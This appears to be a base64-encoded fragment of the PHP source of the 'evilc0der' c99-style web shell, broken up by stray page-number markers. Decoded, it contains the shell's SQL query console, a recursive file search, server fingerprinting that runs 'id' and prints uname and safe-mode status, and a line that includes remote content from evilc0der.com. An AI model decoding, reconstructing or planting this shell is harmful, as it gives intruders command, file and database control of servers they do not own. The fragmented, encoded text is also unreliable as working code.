bF9xdWVyeSA9IHVybGRlY29kZSgkc3FsX3F1ZXJ5KTsNCiBpZiAoKCRzdWJtaXQpIGFuZCAoISRz cWxfcXVlcnlfcmVzdWx0KSBhbmQgKCRzcWxfY29uZmlybSkpIHtpZiAoISRzcWxfcXVlcnlfZXJy b3IpIHskc3FsX3F1ZXJ5X2Vycm9yID0gIlF1ZXJ5IHdhcyBlbXB0eSI7fSBlY2hvICI8Yj5FcnJv cjo8L2I+IDxicj4iLiRzcWxfcXVlcnlfZXJyb3IuIjxicj4iO30NCiBpZiAoJHNxbF9xdWVyeV9y ZXN1bHQgb3IgKCEkc3FsX2NvbmZpcm0pKSB7JHNxbF9hY3QgPSAkc3FsX2dvdG87fQ0KIGlmICgo ISRzdWJtaXQpIG9yICgkc3FsX2FjdCkpDQogew0KICBlY2hvICI8dGFibGUgYm9yZGVyPTA+PHRy Pjx0ZD48Zm9ybSBtZXRob2Q9UE9TVD48Yj4iOyBpZiAoKCRzcWxfcXVlcnkpIGFuZCAoISRzdWJt aXQpKSB7ZWNobyAiRG8geW91IHJlYWxseSB3YW50IHRvIjt9IGVsc2Uge2VjaG8gIlNRTC1RdWVy eSI7fSBlY2hvICI6PC9iPjxicj48YnI+PHRleHRhcmVhIG5hbWU9c3FsX3F1ZXJ5IGNvbHM9MTAw IHJvd3M9MTA+Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcXVlcnkpLiI8L3RleHRhcmVhPjxicj48 YnI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwic3FsX3BvcnRcIiB2YWx1ZT1cIiIuaHRt bHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9 XCJzcWxfc2VydmVyXCIgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiJc Ij48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJzcWxfcGFzc3dkXCIgdmFsdWU9XCIiLmh0 bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiJcIj48aW5wdXQgdHlwZT1cImhpZGRlblwiIG5h bWU9XCJzcWxfbG9naW5cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4i XCI+PGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwiYWN0XCIgdmFsdWU9XCJzcWxcIj48aW5w dXQgdHlwZT1oaWRkZW4gbmFtZT1zcWxfdGJsIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRz cWxfdGJsKS4iXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9c3VibWl0IHZhbHVlPVwiMVwiPjxp bnB1dCB0eXBlPWhpZGRlbiBuYW1lPVwic3FsX2dvdG9cIiB2YWx1ZT1cIiIuaHRtbHNwZWNpYWxj aGFycygkc3FsX2dvdG8pLiJcIj48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zcWxfY29uZmlybSB2 YWx1ZT1cIlllc1wiPiZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIk5vXCI+PC9mb3Jt PjwvdGQ+IjsNCiAgaWYgKCR0Ymxfc3RydWN0KQ0KICB7DQogICBlY2hvICI8dGQgdmFsaWduPVwi dG9wXCI+PGI+RmllbGRzOjwvYj48YnI+IjsNCiAgIGZvcmVhY2ggKCR0Ymxfc3RydWN0IGFzICRm aWVsZCkgeyRuYW1lID0gJGZpZWxkWyJGaWVsZCJdOyBlY2hvICK7IDxhIGhyZWY9XCIjXCIgb25j bGljaz1cImRvY3VtZW50LmM5OXNoX3NxbHF1ZXJ5LnNxbF9xdWVyeS52YWx1ZSs9J2AiLiRuYW1l LiJgJztcIj48Yj4iLiRuYW1lLiI8L2I+PC9hPjxicj4iO30NCiAgIGVjaG8gIjwvdGQ+PC90cj48 L3RhYmxlPiI7DQogIH0NCiB9DQogaWYgKCRzcWxfcXVlcnlfcmVzdWx0IG9yICghJHNxbF9jb25m aXJtKSkgeyRzcWxfcXVlcnkgPSAkc3FsX2xhc3RfcXVlcnk7fQ0KfQ0KfQ0KaWYgKCFmdW5jdGlv bl9leGlzdHMoIm15c3FsX2NyZWF0ZV9kYiIpKQ0Kew0KZnVuY3Rpb24gbXlzcWxfY3JlYXRlX2Ri KCRkYiwkc29jaz0iIikNCnsNCiAkc3FsID0gIkNSRUFURSBEQVRBQkFTRSBgIi5hZGRzbGFzaGVz KCRkYikuImA7IjsNCiBpZiAoJHNvY2spIHtyZXR1cm4gbXlzcWxfcXVlcnkoJHNxbCwkc29jayk7 fQ0KIGVsc2Uge3JldHVybiBteXNxbF9xdWVyeSgkc3FsKTt9DQp9DQp9DQppZiAoIWZ1bmN0aW9u X2V4aXN0cygibXlzcWxfcXVlcnlfcGFyc2UiKSkNCnsNCmZ1bmN0aW9uIG15c3FsX3F1ZXJ5X3Bh cnNlKCRxdWVyeSkNCnsNCiAkcXVlcnkgPSB0cmltKCRxdWVyeSk7DQogJGFyciA9IGV4cGxvZGUg KCIgIiwkcXVlcnkpOw0KIC8qYXJyYXkgYXJyYXkoKQ0KIHsNCiAgIk1FVEhPRCI9PmFycmF5KG91 dHB1dF90eXBlKSwNCiAgIk1FVEhPRDEiLi4uDQogIC4uLg0KIH0NCiBpZiBvdXRwdXRfdHlwZSA9 PSAwLCBubyBvdXRwdXQsDQogaWYgb3V0cHV0X3R5cGUgPT0gMSwgbm8gb3V0cHV0IGlmIG5vIGVy
  8. 8. cm9yDQogaWYgb3V0cHV0X3R5cGUgPT0gMiwgb3V0cHV0IHdpdGhvdXQgY29udHJvbC1idXR0b25z DQogaWYgb3V0cHV0X3R5cGUgPT0gMywgb3V0cHV0IHdpdGggY29udHJvbC1idXR0b25zDQogKi8N CiAkdHlwZXMgPSBhcnJheSgNCiAgIlNFTEVDVCI9PmFycmF5KDMsMSksDQogICJTSE9XIj0+YXJy YXkoMiwxKSwNCiAgIkRFTEVURSI9PmFycmF5KDEpLA0KICAiRFJPUCI9PmFycmF5KDEpDQogKTsN CiAkcmVzdWx0ID0gYXJyYXkoKTsNCiAkb3AgPSBzdHJ0b3VwcGVyKCRhcnJbMF0pOw0KIGlmIChp c19hcnJheSgkdHlwZXNbJG9wXSkpDQogew0KICAkcmVzdWx0WyJwcm9wZXJ0aW9ucyJdID0gJHR5 cGVzWyRvcF07DQogICRyZXN1bHRbInF1ZXJ5Il0gID0gJHF1ZXJ5Ow0KICBpZiAoJHR5cGVzWyRv cF0gPT0gMikNCiAgew0KICAgZm9yZWFjaCgkYXJyIGFzICRrPT4kdikNCiAgIHsNCiAgICBpZiAo c3RydG91cHBlcigkdikgPT0gIkxJTUlUIikNCiAgICB7DQogICAgICRyZXN1bHRbImxpbWl0Il0g PSAkYXJyWyRrKzFdOw0KICAgICAkcmVzdWx0WyJsaW1pdCJdID0gZXhwbG9kZSgiLCIsJHJlc3Vs dFsibGltaXQiXSk7DQogICAgIGlmIChjb3VudCgkcmVzdWx0WyJsaW1pdCJdKSA9PSAxKSB7JHJl c3VsdFsibGltaXQiXSA9IGFycmF5KDAsJHJlc3VsdFsibGltaXQiXVswXSk7fQ0KICAgICB1bnNl dCgkYXJyWyRrXSwkYXJyWyRrKzFdKTsNCiAgICB9DQogICB9DQogIH0NCiB9DQogZWxzZSB7cmV0 dXJuIEZBTFNFO30NCn0NCn0NCmlmICghZnVuY3Rpb25fZXhpc3RzKCJjOTlmc2VhcmNoIikpDQp7 DQpmdW5jdGlvbiBjOTlmc2VhcmNoKCRkKQ0Kew0KIGdsb2JhbCAkZm91bmQ7DQogZ2xvYmFsICRm b3VuZF9kOw0KIGdsb2JhbCAkZm91bmRfZjsNCiBnbG9iYWwgJHNlYXJjaF9pX2Y7DQogZ2xvYmFs ICRzZWFyY2hfaV9kOw0KIGdsb2JhbCAkYTsNCiBpZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RP UllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogJGggPSBvcGVuZGly KCRkKTsNCiB3aGlsZSAoKCRmID0gcmVhZGRpcigkaCkpICE9PSBGQUxTRSkNCiB7DQogIGlmKCRm ICE9ICIuIiAmJiAkZiAhPSAiLi4iKQ0KICB7DQogICAkYm9vbCA9IChlbXB0eSgkYVsibmFtZV9y ZWdleHAiXSkgYW5kIHN0cnBvcygkZiwkYVsibmFtZSJdKSAhPT0gRkFMU0UpIHx8ICgkYVsibmFt ZV9yZWdleHAiXSBhbmQgZXJlZygkYVsibmFtZSJdLCRmKSk7DQogICBpZiAoaXNfZGlyKCRkLiRm KSkNCiAgIHsNCiAgICAkc2VhcmNoX2lfZCsrOw0KICAgIGlmIChlbXB0eSgkYVsidGV4dCJdKSBh bmQgJGJvb2wpIHskZm91bmRbXSA9ICRkLiRmOyAkZm91bmRfZCsrO30NCiAgICBpZiAoIWlzX2xp bmsoJGQuJGYpKSB7Yzk5ZnNlYXJjaCgkZC4kZik7fQ0KICAgfQ0KICAgZWxzZQ0KICAgew0KICAg ICRzZWFyY2hfaV9mKys7DQogICAgaWYgKCRib29sKQ0KICAgIHsNCiAgICAgaWYgKCFlbXB0eSgk YVsidGV4dCJdKSkNCiAgICAgew0KICAgICAgJHIgPSBAZmlsZV9nZXRfY29udGVudHMoJGQuJGYp Ow0KICAgICAgaWYgKCRhWyJ0ZXh0X3d3byJdKSB7JGFbInRleHQiXSA9ICIgIi50cmltKCRhWyJ0 ZXh0Il0pLiIgIjt9DQogICAgICBpZiAoISRhWyJ0ZXh0X2NzIl0pIHskYVsidGV4dCJdID0gc3Ry dG9sb3dlcigkYVsidGV4dCJdKTsgJHIgPSBzdHJ0b2xvd2VyKCRyKTt9DQogICAgICBpZiAoJGFb InRleHRfcmVnZXhwIl0pIHskYm9vbCA9IGVyZWcoJGFbInRleHQiXSwkcik7fQ0KICAgICAgZWxz ZSB7JGJvb2wgPSBzdHJwb3MoIiAiLiRyLCRhWyJ0ZXh0Il0sMSk7fQ0KICAgICAgaWYgKCRhWyJ0 ZXh0X25vdCJdKSB7JGJvb2wgPSAhJGJvb2w7fQ0KICAgICAgaWYgKCRib29sKSB7JGZvdW5kW10g PSAkZC4kZjsgJGZvdW5kX2YrKzt9DQogICAgIH0NCiAgICAgZWxzZSB7JGZvdW5kW10gPSAkZC4k ZjsgJGZvdW5kX2YrKzt9DQogICAgfQ0KICAgfQ0KICB9DQogfQ0KIGNsb3NlZGlyKCRoKTsNCn0N Cn0NCmlmICgkYWN0ID09ICJnb2ZpbGUiKSB7aWYgKGlzX2RpcigkZikpIHskYWN0ID0gImxzIjsg JGQgPSAkZjt9IGVsc2UgeyRhY3QgPSAiZiI7ICRkID0gZGlybmFtZSgkZik7ICRmID0gYmFzZW5h bWUoJGYpO319DQovL1NlbmRpbmcgaGVhZGVycw0KQG9iX3N0YXJ0KCk7DQpAb2JfaW1wbGljaXRf Zmx1c2goMCk7DQpmdW5jdGlvbiBvbnBocHNodXRkb3duKCkNCnsNCiBnbG9iYWwgJGd6aXBlbmNv ZGUsJGZ0Ow0KIGlmICghaGVhZGVyc19zZW50KCkgYW5kICRnemlwZW5jb2RlIGFuZCAhaW5fYXJy YXkoJGZ0LGFycmF5KCJpbWciLCJkb3dubG9hZCIsIm5vdGVwYWQiKSkpDQogew0KICAkdiA9IEBv Yl9nZXRfY29udGVudHMoKTsNCiAgQG9iX2VuZF9jbGVhbigpOw0KICBAb2Jfc3RhcnQoIm9iX2d6 SGFuZGxlciIpOw0KICBlY2hvICR2Ow0KICBAb2JfZW5kX2ZsdXNoKCk7DQogfQ0KfQ0KZnVuY3Rp b24gYzk5c2hleGl0KCkNCnsNCiBvbnBocHNodXRkb3duKCk7DQogZXhpdDsNCn0NCmhlYWRlcigi RXhwaXJlczogTW9uLCAyNiBKdWwgMTk5NyAwNTowMDowMCBHTVQiKTsNCmhlYWRlcigiTGFzdC1N b2RpZmllZDogIi5nbWRhdGUoIkQsIGQgTSBZIEg6aTpzIikuIiBHTVQiKTsNCmhlYWRlcigiQ2Fj aGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUiKTsNCmhlYWRl cigiQ2FjaGUtQ29udHJvbDogcG9zdC1jaGVjaz0wLCBwcmUtY2hlY2s9MCIsIEZBTFNFKTsNCmhl YWRlcigiUHJhZ21hOiBuby1jYWNoZSIpOw0KaWYgKGVtcHR5KCR0bXBkaXIpKQ0Kew0KICR0bXBk aXIgPSBpbmlfZ2V0KCJ1cGxvYWRfdG1wX2RpciIpOw0KIGlmIChpc19kaXIoJHRtcGRpcikpIHsk dG1wZGlyID0gIi90bXAvIjt9DQp9DQokdG1wZGlyID0gcmVhbHBhdGgoJHRtcGRpcik7DQokdG1w ZGlyID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9SLCR0bXBkaXIpOw0KaWYg KHN1YnN0cigkdG1wZGlyLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JHRtcGRpciAuPSBE SVJFQ1RPUllfU0VQQVJBVE9SO30NCmlmIChlbXB0eSgkdG1wZGlyX2xvZ3MpKSB7JHRtcGRpcl9s b2dzID0gJHRtcGRpcjt9DQplbHNlIHskdG1wZGlyX2xvZ3MgPSByZWFscGF0aCgkdG1wZGlyX2xv Z3MpO30NCmlmIChAaW5pX2dldCgic2FmZV9tb2RlIikgb3Igc3RydG9sb3dlcihAaW5pX2dldCgi c2FmZV9tb2RlIikpID09ICJvbiIpDQp7DQogJHNhZmVtb2RlID0gVFJVRTsNCiAkaHNhZmVtb2Rl ID0gIjxmb250IGNvbG9yPXJlZD5PTiAoc2VjdXJlKTwvZm9udD4iOw0KfQ0KZWxzZSB7JHNhZmVt b2RlID0gRkFMU0U7ICRoc2FmZW1vZGUgPSAiPGZvbnQgY29sb3I9Z3JlZW4+T0ZGIChub3Qgc2Vj
  9. 9. dXJlKTwvZm9udD4iO30NCiR2ID0gQGluaV9nZXQoIm9wZW5fYmFzZWRpciIpOw0KaWYgKCR2IG9y IHN0cnRvbG93ZXIoJHYpID09ICJvbiIpIHskb3BlbmJhc2VkaXIgPSBUUlVFOyAkaG9wZW5iYXNl ZGlyID0gIjxmb250IGNvbG9yPXJlZD4iLiR2LiI8L2ZvbnQ+Ijt9DQplbHNlIHskb3BlbmJhc2Vk aXIgPSBGQUxTRTsgJGhvcGVuYmFzZWRpciA9ICI8Zm9udCBjb2xvcj1ncmVlbj5PRkYgKG5vdCBz ZWN1cmUpPC9mb250PiI7fQ0KJHNvcnQgPSBodG1sc3BlY2lhbGNoYXJzKCRzb3J0KTsNCmlmIChl bXB0eSgkc29ydCkpIHskc29ydCA9ICRzb3J0X2RlZmF1bHQ7fQ0KJHNvcnRbMV0gPSBzdHJ0b2xv d2VyKCRzb3J0WzFdKTsNCiRESVNQX1NFUlZFUl9TT0ZUV0FSRSA9IGdldGVudigiU0VSVkVSX1NP RlRXQVJFIik7DQppZiAoIWVyZWcoIlBIUC8iLnBocHZlcnNpb24oKSwkRElTUF9TRVJWRVJfU09G VFdBUkUpKSB7JERJU1BfU0VSVkVSX1NPRlRXQVJFIC49ICIuIFBIUC8iLnBocHZlcnNpb24oKTt9 DQokRElTUF9TRVJWRVJfU09GVFdBUkUgPSBzdHJfcmVwbGFjZSgiUEhQLyIucGhwdmVyc2lvbigp LCI8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC50b2RvLmFjdC52YWx1ZT0ncGhwaW5m byc7ZG9jdW1lbnQudG9kby5zdWJtaXQoKTtcIj48Yj48dT5QSFAvIi5waHB2ZXJzaW9uKCkuIjwv dT48L2I+PC9hPiIsaHRtbHNwZWNpYWxjaGFycygkRElTUF9TRVJWRVJfU09GVFdBUkUpKTsNCkBp bmlfc2V0KCJoaWdobGlnaHQuYmciLCRoaWdobGlnaHRfYmcpOyAvL0ZGRkZGRg0KQGluaV9zZXQo ImhpZ2hsaWdodC5jb21tZW50IiwkaGlnaGxpZ2h0X2NvbW1lbnQpOyAvLyNGRjgwMDANCkBpbmlf c2V0KCJoaWdobGlnaHQuZGVmYXVsdCIsJGhpZ2hsaWdodF9kZWZhdWx0KTsgLy8jMDAwMEJCDQpA aW5pX3NldCgiaGlnaGxpZ2h0Lmh0bWwiLCRoaWdobGlnaHRfaHRtbCk7IC8vIzAwMDAwMA0KQGlu aV9zZXQoImhpZ2hsaWdodC5rZXl3b3JkIiwkaGlnaGxpZ2h0X2tleXdvcmQpOyAvLyMwMDc3MDAN CkBpbmlfc2V0KCJoaWdobGlnaHQuc3RyaW5nIiwkaGlnaGxpZ2h0X3N0cmluZyk7IC8vI0REMDAw MA0KaWYgKCFpc19hcnJheSgkYWN0Ym94KSkgeyRhY3Rib3ggPSBhcnJheSgpO30NCiRkc3BhY3Qg PSAkYWN0ID0gaHRtbHNwZWNpYWxjaGFycygkYWN0KTsNCiRkaXNwX2Z1bGxwYXRoID0gJGxzX2Fy ciA9ICRub3RscyA9IG51bGw7DQokdWQgPSB1cmxlbmNvZGUoJGQpOw0KPz4NCjw/IGluY2x1ZGUg J2h0dHA6Ly93d3cuZXZpbGMwZGVyLmNvbS94Lmh0bWwnOyA/PjxodG1sPjxoZWFkPjxtZXRhIGh0 dHAtZXF1aXY9IkNvbnRlbnQtVHlwZSIgY29udGVudD0idGV4dC9odG1sOyBjaGFyc2V0PXdpbmRv d3MtMTI1MSI+PG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1MYW5ndWFnZSIgY29udGVudD0iZW4t dXMiPjx0aXRsZT48P3BocCBlY2hvIGdldGVudigiSFRUUF9IT1NUIik7ID8+IC0gZXZpbGMwZGVy PC90aXRsZT48U1RZTEU+VEQgeyBGT05ULVNJWkU6IDhwdDsgQ09MT1I6ICNlYmViZWI7IEZPTlQt RkFNSUxZOiB2ZXJkYW5hO31CT0RZIHsgc2Nyb2xsYmFyLWZhY2UtY29sb3I6ICMzMzMzMzM7IHNj cm9sbGJhci1zaGFkb3ctY29sb3I6ICMxMDEwMTA7IHNjcm9sbGJhci1oaWdobGlnaHQtY29sb3I6 ICMxMDEwMTA7IHNjcm9sbGJhci0zZGxpZ2h0LWNvbG9yOiAjMTAxMDEwOyBzY3JvbGxiYXItZGFy a3NoYWRvdy1jb2xvcjogIzEwMTAxMDsgc2Nyb2xsYmFyLXRyYWNrLWNvbG9yOiAjMTAxMDEwOyBz Y3JvbGxiYXItYXJyb3ctY29sb3I6ICMxMDEwMTA7IGZvbnQtZmFtaWx5OiBWZXJkYW5hO31URC5o ZWFkZXIgeyBGT05ULVdFSUdIVDogbm9ybWFsOyBGT05ULVNJWkU6IDEwcHQ7IEJBQ0tHUk9VTkQ6 ICM3ZDc0NzQ7IENPTE9SOiB3aGl0ZTsgRk9OVC1GQU1JTFk6IHZlcmRhbmE7fUEgeyBGT05ULVdF SUdIVDogbm9ybWFsOyBDT0xPUjogI2RhZGFkYTsgRk9OVC1GQU1JTFk6IHZlcmRhbmE7IFRFWFQt REVDT1JBVElPTjogbm9uZTt9QTp1bmtub3duIHsgRk9OVC1XRUlHSFQ6IG5vcm1hbDsgQ09MT1I6 ICNmZmZmZmY7IEZPTlQtRkFNSUxZOiB2ZXJkYW5hOyBURVhULURFQ09SQVRJT046IG5vbmU7fUEu TGlua3MgeyBDT0xPUjogI2ZmZmZmZjsgVEVYVC1ERUNPUkFUSU9OOiBub25lO31BLkxpbmtzOnVu a25vd24geyBGT05ULVdFSUdIVDogbm9ybWFsOyBDT0xPUjogI2ZmZmZmZjsgVEVYVC1ERUNPUkFU SU9OOiBub25lO31BOmhvdmVyIHsgQ09MT1I6ICNmZmZmZmY7IFRFWFQtREVDT1JBVElPTjogdW5k ZXJsaW5lO30uc2tpbjB7cG9zaXRpb246YWJzb2x1dGU7IHdpZHRoOjIwMHB4OyBib3JkZXI6MnB4 IHNvbGlkIGJsYWNrOyBiYWNrZ3JvdW5kLWNvbG9yOm1lbnU7IGZvbnQtZmFtaWx5OlZlcmRhbmE7 IGxpbmUtaGVpZ2h0OjIwcHg7IGN1cnNvcjpkZWZhdWx0OyB2aXNpYmlsaXR5OmhpZGRlbjs7fS5z a2luMXtjdXJzb3I6IGRlZmF1bHQ7IGZvbnQ6IG1lbnV0ZXh0OyBwb3NpdGlvbjogYWJzb2x1dGU7 IHdpZHRoOiAxNDVweDsgYmFja2dyb3VuZC1jb2xvcjogbWVudTsgYm9yZGVyOiAxIHNvbGlkIGJ1 dHRvbmZhY2U7dmlzaWJpbGl0eTpoaWRkZW47IGJvcmRlcjogMiBvdXRzZXQgYnV0dG9uaGlnaGxp Z2h0OyBmb250LWZhbWlseTogVmVyZGFuYSxHZW5ldmEsIEFyaWFsOyBmb250LXNpemU6IDEwcHg7 IGNvbG9yOiBibGFjazt9Lm1lbnVpdGVtc3twYWRkaW5nLWxlZnQ6MTVweDsgcGFkZGluZy1yaWdo dDoxMHB4Ozt9aW5wdXR7YmFja2dyb3VuZC1jb2xvcjogIzMzMzMzMzsgZm9udC1zaXplOiA4cHQ7 IGNvbG9yOiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDEgc29saWQgIzY2 NjY2Njt9dGV4dGFyZWF7YmFja2dyb3VuZC1jb2xvcjogIzMzMzMzMzsgZm9udC1zaXplOiA4cHQ7 IGNvbG9yOiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDEgc29saWQgIzY2 NjY2Njt9YnV0dG9ue2JhY2tncm91bmQtY29sb3I6ICMzMzMzMzM7IGZvbnQtc2l6ZTogOHB0OyBj b2xvcjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2 NjY7fXNlbGVjdHtiYWNrZ3JvdW5kLWNvbG9yOiAjMzMzMzMzOyBmb250LXNpemU6IDhwdDsgY29s b3I6ICNGRkZGRkY7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMSBzb2xpZCAjNjY2NjY2 O31vcHRpb24ge2JhY2tncm91bmQtY29sb3I6ICMzMzMzMzM7IGZvbnQtc2l6ZTogOHB0OyBjb2xv cjogI0ZGRkZGRjsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxIHNvbGlkICM2NjY2NjY7 fWlmcmFtZSB7YmFja2dyb3VuZC1jb2xvcjogIzMzMzMzMzsgZm9udC1zaXplOiA4cHQ7IGNvbG9y
  10. 10. OiAjRkZGRkZGOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDEgc29saWQgIzY2NjY2Njt9 cCB7TUFSR0lOLVRPUDogMHB4OyBNQVJHSU4tQk9UVE9NOiAwcHg7IExJTkUtSEVJR0hUOiAxNTAl fWJsb2NrcXVvdGV7IGZvbnQtc2l6ZTogOHB0OyBmb250LWZhbWlseTogQ291cmllciwgRml4ZWQs IEFyaWFsOyBib3JkZXIgOiA4cHggc29saWQgI0E5QTlBOTsgcGFkZGluZzogMWVtOyBtYXJnaW4t dG9wOiAxZW07IG1hcmdpbi1ib3R0b206IDVlbTsgbWFyZ2luLXJpZ2h0OiAzZW07IG1hcmdpbi1s ZWZ0OiA0ZW07IGJhY2tncm91bmQtY29sb3I6ICNCN0IyQjA7fWJvZHksdGQsdGggeyBmb250LWZh bWlseTogdmVyZGFuYTsgY29sb3I6ICNkOWQ5ZDk7IGZvbnQtc2l6ZTogMTFweDt9Ym9keSB7IGJh Y2tncm91bmQtY29sb3I6ICMwMDAwMDA7fTwvc3R5bGU+PC9oZWFkPjxCT0RZIHRleHQ9I2ZmZmZm ZiBib3R0b21NYXJnaW49MCBiZ0NvbG9yPSMwMDAwMDAgbGVmdE1hcmdpbj0wIHRvcE1hcmdpbj0w IHJpZ2h0TWFyZ2luPTAgbWFyZ2luaGVpZ2h0PTAgbWFyZ2lud2lkdGg9MD48Zm9ybSBuYW1lPSd0 b2RvJyBtZXRob2Q9J1BPU1QnPjxpbnB1dCBuYW1lPSdhY3QnIHR5cGU9J2hpZGRlbicgdmFsdWU9 Jyc+PGlucHV0IG5hbWU9J2dyZXAnIHR5cGU9J2hpZGRlbicgdmFsdWU9Jyc+PGlucHV0IG5hbWU9 J2Z1bGxoZXhkdW1wJyB0eXBlPSdoaWRkZW4nIHZhbHVlPScnPjxpbnB1dCBuYW1lPSdiYXNlNjQn IHR5cGU9J2hpZGRlbicgdmFsdWU9Jyc+PGlucHV0IG5hbWU9J25peHBhc3N3ZCcgdHlwZT0naGlk ZGVuJyB2YWx1ZT0nJz48aW5wdXQgbmFtZT0ncGlkJyB0eXBlPSdoaWRkZW4nIHZhbHVlPScnPjxp bnB1dCBuYW1lPSdjJyB0eXBlPSdoaWRkZW4nIHZhbHVlPScnPjxpbnB1dCBuYW1lPSd3aGl0ZScg dHlwZT0naGlkZGVuJyB2YWx1ZT0nJz48aW5wdXQgbmFtZT0nc2lnJyB0eXBlPSdoaWRkZW4nIHZh bHVlPScnPjxpbnB1dCBuYW1lPSdwcm9jZXNzZXNfc29ydCcgdHlwZT0naGlkZGVuJyB2YWx1ZT0n Jz48aW5wdXQgbmFtZT0nZCcgdHlwZT0naGlkZGVuJyB2YWx1ZT0nJz48aW5wdXQgbmFtZT0nc29y dCcgdHlwZT0naGlkZGVuJyB2YWx1ZT0nJz48aW5wdXQgbmFtZT0nZicgdHlwZT0naGlkZGVuJyB2 YWx1ZT0nJz48aW5wdXQgbmFtZT0nZnQnIHR5cGU9J2hpZGRlbicgdmFsdWU9Jyc+PC9mb3JtPjxj ZW50ZXI+PFRBQkxFIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBoZWlnaHQ9MSBj ZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUgd2lkdGg9 IjEwMCUiIGJnQ29sb3I9IzAwMzMwMCBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTEg Ym9yZGVyY29sb3I9IiNDMEMwQzAiPjx0cj48dGggd2lkdGg9IjEwMSUiIGhlaWdodD0iMTUiIG5v d3JhcCBib3JkZXJjb2xvcj0iI0MwQzBDMCIgdmFsaWduPSJ0b3AiIGNvbHNwYW49IjIiPjxwPjxm b250IGZhY2U9V2ViZGluZ3Mgc2l6ZT02PjxiPiE8L2I+PC9mb250PjxhIGhyZWY9Ijw/cGhwIGVj aG8gJHN1cmw7ID8+Ij48Zm9udCBmYWNlPSJWZXJkYW5hIiBzaXplPSI1Ij48Yj5ldmlsYzBkZXIg di4gPD9waHAgZWNobyAkc2h2ZXI7ID8+PC9iPjwvZm9udD48L2E+PGZvbnQgZmFjZT1XZWJkaW5n cyBzaXplPTY+PGI+ITwvYj48L2ZvbnQ+PC9wPjwvY2VudGVyPjwvdGg+PC90cj48dHI+PHRkPjxw IGFsaWduPSJsZWZ0Ij48Yj5Tb2Z0d2FyZTombmJzcDs8P3BocCBlY2hvICRESVNQX1NFUlZFUl9T T0ZUV0FSRTsgPz48L2I+Jm5ic3A7PC9wPjxwIGFsaWduPSJsZWZ0Ij48Yj51bmFtZSAtYTombmJz cDs8P3BocCBlY2hvIHdvcmR3cmFwKHBocF91bmFtZSgpLDkwLCI8YnI+IiwxKTsgPz48L2I+Jm5i c3A7PC9wPjxwIGFsaWduPSJsZWZ0Ij48Yj48P3BocCBpZiAoISR3aW4pIHtlY2hvIHdvcmR3cmFw KG15c2hlbGxleGVjKCJpZCIpLDkwLCI8YnI+IiwxKTt9IGVsc2Uge2VjaG8gZ2V0X2N1cnJlbnRf dXNlcigpO30gPz48L2I+Jm5ic3A7PC9wPjxwIGFsaWduPSJsZWZ0Ij48Yj5TYWZlLW1vZGU6Jm5i c3A7PD9waHAgZWNobyAkaHNhZmVtb2RlOyA/PjwvYj48L3A+PHAgYWxpZ249ImxlZnQiPjw/cGhw DQokZCA9IHN0cl9yZXBsYWNlKCJcXCIsRElSRUNUT1JZX1NFUEFSQVRPUiwkZCk7DQppZiAoZW1w dHkoJGQpKSB7JGQgPSByZWFscGF0aCgiLiIpO30gZWxzZWlmKHJlYWxwYXRoKCRkKSkgeyRkID0g cmVhbHBhdGgoJGQpO30NCiRkID0gc3RyX3JlcGxhY2UoIlxcIixESVJFQ1RPUllfU0VQQVJBVE9S LCRkKTsNCmlmIChzdWJzdHIoJGQsLTEpICE9IERJUkVDVE9SWV9TRVBBUkFUT1IpIHskZCAuPSBE SVJFQ1RPUllfU0VQQVJBVE9SO30NCiRkID0gc3RyX3JlcGxhY2UoIlxcXFwiLCJcXCIsJGQpOw0K JGRpc3BkID0gaHRtbHNwZWNpYWxjaGFycygkZCk7DQokcGQgPSAkZSA9IGV4cGxvZGUoRElSRUNU T1JZX1NFUEFSQVRPUixzdWJzdHIoJGQsMCwtMSkpOw0KJGkgPSAwOw0KZm9yZWFjaCgkcGQgYXMg JGIpDQp7DQogJHQgPSAiIjsNCiAkaiA9IDA7DQogZm9yZWFjaCAoJGUgYXMgJHIpDQogew0KICAk dC49ICRyLkRJUkVDVE9SWV9TRVBBUkFUT1I7DQogIGlmICgkaiA9PSAkaSkge2JyZWFrO30NCiAg JGorKzsNCiB9DQogZWNobyAiPGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQudG9kby5h Y3QudmFsdWU9J2xzJztkb2N1bWVudC50b2RvLmQudmFsdWU9JyIudXJsZW5jb2RlKCR0KS4iJztk 